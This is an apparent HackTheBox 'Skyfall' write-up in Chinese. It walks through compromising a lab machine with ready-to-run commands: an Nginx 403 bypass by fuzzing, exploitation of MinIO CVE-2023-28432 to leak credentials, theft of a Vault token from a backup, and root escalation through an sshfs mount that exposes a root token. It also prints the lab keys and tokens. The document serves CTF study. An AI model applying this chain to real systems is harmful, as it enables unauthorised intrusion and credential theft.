HackTheBox: Skyfall Write-up
分享一下當時的Rank 
Enumeration
使用Nmap掃描目標開放端口
nmap -Pn -sCV 10.10.11.254
Nmap結果顯示目標開放SSH和Web服務 
訪問Web服務可以在首頁找到Demo網站 http://demo.skyfall.htb 
IMPORTANT將
skyfall.htb和demo.skyfall.htb加入hosts
sudo nano /etc/hosts

訪問Demo網站,使用guest/guest登入 
登入後在底部可以發現後端為Flask 
左側列表可以發現MinIO Metrics 
點擊MinIO Metrics回應狀態碼403,網頁伺服器Nginx版本為1.18.0
http://demo.skyfall.htb/metrics 
Foothold
NOTE繞過Nginx 403頁面的兩種方法
這裡我選擇第2種方法,使用wfuzz模糊測試
wfuzz --sc 200 -H '{Your_Cookie}' -w '{Your_Payload}' 'http://demo.skyfall.htb/metricsFUZZ'
%0A回應狀態碼200 
訪問MinIO Metrics後,可以在底部發現MinIO版本及儲存桶
version: 2023-03-13T19:46:17Z
http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster 
GOOGLE搜尋MinIO+版本可以找到CVE-2023-28432及利用方式
https://www.securityjoes.com/post/new-attack-vector-in-the-cloud-attackers-caught-exploiting-object-storage-services
洩漏USER和PASSWORD
curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify | jq .

從min.io下載Client端
詳細操作請閱讀官方文檔
執行mc訪問儲存桶
./mc alias set minio http://prd23-s3-backend.skyfall.htb/ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0
./mc ls minio

列出askyy儲存桶中檔案的所有版本
./mc ls --versions minio/askyy

指定版本複製到本地
./mc cp --vid=2b75346d-2a47-4203-ab09-3c9f878466b8 minio/askyy/home_backup.tar.gz .

列出壓縮檔內的檔案
tar -tzf home_backup.tar.gz

讀取.bashrc取得VAULT_TOKEN
tar -xOzf home_backup.tar.gz ./.bashrc

從Vault下載Client端
詳細操作請閱讀官方文檔
設置環境變數
export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb"
export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
查詢TOKEN的詳細資訊
./vault token lookup

查詢所有路徑的權限(官方文檔)
NOTE
./vault read -format=json sys/internal/ui/resultant-acl | jq .
其中ssh/creds/dev_otp_key_role擁有create權限 
為askyy生成SSH連線的一次性密碼(官方文檔)
./vault write ssh/creds/dev_otp_key_role ip=10.10.11.254 username=askyy

SSH連線輸入Password
Password=key
ssh -o PubkeyAuthentication=no askyy@10.10.11.254

Privilege Escalation
查詢sudo權限
sudo -l

sudo執行以下命令後會生成debug.log
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

查看/etc/fuse.conf,user_allow_other選項預設是被註解掉的
cat /etc/fuse.conf

使用sshfs掛載/home/askyy到/tmp/pwn
mkdir /tmp/pwn
/tmp/sshfs -o allow_other askyy@127.0.0.1:/home/askyy /tmp/pwn
cd /tmp/pwn
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
cat debug.log

設置root的VAULT_TOKEN
export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
列出ssh/roles
./vault list ssh/roles

為root生成SSH連線的一次性密碼
./vault write ssh/creds/admin_otp_key_role ip=10.10.11.254 username=root

SSH連線輸入Password
ssh -o PubkeyAuthentication=no root@10.10.11.254


